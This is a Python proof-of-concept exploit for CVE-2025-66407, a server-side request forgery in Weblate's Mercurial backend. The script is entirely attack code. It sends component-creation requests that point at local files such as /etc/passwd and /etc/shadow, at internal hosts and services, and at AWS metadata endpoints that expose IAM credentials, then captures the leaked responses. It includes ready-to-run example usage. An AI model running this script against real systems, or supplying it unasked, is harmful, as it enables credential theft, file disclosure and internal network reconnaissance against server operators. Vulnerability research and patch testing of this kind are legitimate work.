import requests
import json
# CVE-2025-66407 PoC - Weblate SSRF via Mercurial VCS
# Target: Weblate < 5.15 with Mercurial backend enabled
def exploit_weblate_ssrf(target_url, auth_token, component_name):
"""
Exploit Weblate SSRF vulnerability through Create Component functionality
"""
# Test cases for different attack vectors
attack_vectors = [
# Local file enumeration
{"url": "file:///etc/passwd", "description": "Read local passwd file"},
{"url": "file:///etc/hostname", "description": "Read hostname"},
{"url": "file:///etc/shadow", "description": "Attempt to read shadow file"},
# Internal network probing
{"url": "http://localhost/admin/", "description": "Probe localhost admin interface"},
{"url": "http://127.0.0.1:22/", "description": "Probe SSH service"},
{"url": "http://192.168.1.1/", "description": "Probe internal router"},
# Cloud metadata service (AWS example)
{"url": "http://169.254.169.254/latest/meta-data/", "description": "AWS EC2 metadata"},
{"url": "http://169.254.169.254/latest/user-data/", "description": "AWS EC2 user data"},
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "description": "AWS IAM credentials"},
# Internal API endpoints
{"url": "http://10.0.0.5:8080/actuator/env", "description": "Spring Boot actuator"},
{"url": "http://10.0.0.10:9200/_cat/indices", "description": "Elasticsearch indices"}
]
results = []
headers = {
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
}
for vector in attack_vectors:
payload = {
"name": component_name,
"slug": component_name.lower().replace(" ", "-"),
"vcs": "mercurial", # Key: Mercurial backend exposes response
"repo": vector["url"], # Malicious URL
"push": "",
"repobranch": "main"
}
try:
response = requests.post(
f"{target_url}/api/components/",
headers=headers,
json=payload,
timeout=10,
verify=False
)
result = {
"target": vector["url"],
"description": vector["description"],
"status_code": response.status_code,
"response_length": len(response.text),
"vulnerable": response.status_code != 400
}
# Check for file existence via error message differentiation
if "file:///" in vector["url"]:
if "No such file" in response.text or "not found" in response.text.lower():
result["file_exists"] = False
else:
result["file_exists"] = True
result["leaked_content"] = response.text[:500]
results.append(result)
except requests.RequestException as e:
results.append({
"target": vector["url"],
"error": str(e)
})
return results
# Example usage
if __name__ == "__main__":
target = "https://vulnerable-weblate.example.com"
token = "your-auth-token-here"
component = "MaliciousComponent"
print("[*] Testing Weblate SSRF vulnerability...")
results = exploit_weblate_ssrf(target, token, component)
print(json.dumps(results, indent=2))